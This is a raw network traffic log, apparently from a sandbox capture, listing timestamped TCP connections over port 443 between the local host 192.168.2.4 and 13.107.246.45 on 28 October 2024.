Oct 28, 2024 08:18:05.929063082 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.929126978 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.929222107 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.929341078 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.929348946 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.930921078 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.930942059 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.931019068 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.931226015 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.931236982 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.935950041 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.936204910 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.936309099 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.936357975 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.936364889 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.936392069 CET	49779	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.936397076 CET	443	49779	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.938549042 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.938563108 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.938636065 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.938806057 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.938823938 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.944415092 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.944572926 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.944634914 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.944664955 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.944673061 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.944685936 CET	49778	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.944691896 CET	443	49778	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.946831942 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.946883917 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:05.947051048 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.947208881 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:05.947228909 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.010552883 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.010715961 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.010819912 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.010859966 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.010869026 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.010879993 CET	49780	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.010885000 CET	443	49780	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.013226032 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.013247967 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.013329983 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.013478041 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.013490915 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.919704914 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.920367002 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.920399904 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.920820951 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.920830011 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.925898075 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.926215887 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.926245928 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.926539898 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.926547050 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.928036928 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.928328037 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.928361893 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:06.928637028 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:06.928642988 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.049696922 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.053596973 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.053606033 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.054104090 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.054109097 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.054753065 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055031061 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055099010 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.055185080 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055345058 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.055366039 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055399895 CET	49781	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.055408001 CET	443	49781	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055501938 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055655003 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055766106 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.055778027 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.055799007 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.056329966 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.056335926 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.057606936 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.057626963 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.057636976 CET	49784	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.057642937 CET	443	49784	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.059180021 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.060359955 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.060442924 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.060486078 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.060507059 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.060573101 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061428070 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061454058 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.061513901 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061611891 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061625004 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.061655045 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061655045 CET	49782	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061672926 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.061683893 CET	443	49782	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.061825991 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.061836958 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.063508987 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.063555956 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.063627958 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.063728094 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.063743114 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.179625988 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.179871082 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.179958105 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.180176973 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.180190086 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.180198908 CET	49785	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.180202961 CET	443	49785	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.182811975 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.182863951 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.182987928 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.183120966 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.183130980 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.189783096 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.189933062 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.190011024 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.190162897 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.190182924 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.190195084 CET	49783	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.190201998 CET	443	49783	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.192395926 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.192487001 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.192600012 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.192701101 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.192724943 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.792452097 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.793437958 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.793476105 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.794106007 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.794111967 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.798291922 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.798675060 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.798692942 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.799086094 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.799092054 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.805598974 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.805947065 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.805959940 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.806319952 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.806324005 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.920941114 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.921360970 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.921386957 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.921461105 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.921557903 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.921621084 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.921771049 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.921778917 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.921786070 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.921792984 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.921806097 CET	49786	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.921813011 CET	443	49786	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.924601078 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.924631119 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.924709082 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.924859047 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.924871922 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.928004026 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.928155899 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.928214073 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.928258896 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.928276062 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.928289890 CET	49787	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.928296089 CET	443	49787	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.930105925 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.930449009 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.930459976 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.930608988 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.930636883 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.930710077 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.930809975 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.930819988 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.931097984 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.931103945 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.936448097 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.936604977 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.936666965 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.936697006 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.936706066 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.936717033 CET	49788	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.936721087 CET	443	49788	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.939398050 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.939421892 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:07.939537048 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.939692020 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:07.939707994 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.053463936 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.053812981 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.053893089 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.053937912 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.053951025 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.053991079 CET	49789	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.053997993 CET	443	49789	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.055967093 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.055999041 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.056102991 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.056214094 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.056233883 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.059562922 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.059725046 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.059788942 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.061654091 CET	49790	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.061671972 CET	443	49790	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.064274073 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.064316034 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.064399004 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.064565897 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.064587116 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.659420967 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.660110950 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.660146952 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.660856962 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.660882950 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.672275066 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.672672033 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.672703028 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.673154116 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.673161030 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.715998888 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.716680050 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.716701031 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.717226982 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.717232943 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.782167912 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.782815933 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.782831907 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.783333063 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.783338070 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.791135073 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.791198015 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.791260958 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.791419983 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.791446924 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.791465998 CET	49791	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.791472912 CET	443	49791	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.795145035 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.795197964 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.795284033 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.795456886 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.795474052 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.802150965 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.802313089 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.802380085 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.804624081 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.811664104 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.811693907 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.811711073 CET	49792	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.811719894 CET	443	49792	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.812478065 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.812495947 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.813220024 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.813236952 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.815785885 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.815833092 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.815937042 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.816087961 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.816103935 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.852792978 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.852943897 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.853193998 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.853374958 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.853374958 CET	49793	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.853409052 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.853420973 CET	443	49793	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.857052088 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.857100964 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.857186079 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.857361078 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.857378006 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.911454916 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.911617041 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.911737919 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.912059069 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.912081003 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.912096024 CET	49794	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.912102938 CET	443	49794	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.915761948 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.915791988 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.915900946 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.916111946 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.916124105 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.940047026 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.940129042 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.940318108 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.940318108 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.940318108 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.942874908 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.942929029 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:08.943006992 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.943155050 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:08.943173885 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.246618986 CET	49795	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.246654034 CET	443	49795	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.537856102 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.538512945 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.538541079 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.539118052 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.539124012 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.583770037 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.584501028 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.584531069 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.584876060 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.584882975 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.595392942 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.595798969 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.595820904 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.596347094 CET	49798	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.596352100 CET	443	49798	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.651978970 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.652403116 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.652424097 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.652951002 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.652956009 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.670507908 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.670674086 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.670739889 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.670787096 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.670804977 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.670819044 CET	49796	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.670824051 CET	443	49796	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.673835993 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.673871994 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.673969984 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.674133062 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.674144983 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.681937933 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.682347059 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.682378054 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.682869911 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.682877064 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.719602108 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.720048904 CET	443	49797	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:09.720129967 CET	49797	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:09.720168114 CET	49797	443	192.168.2.4	13.107.246.45
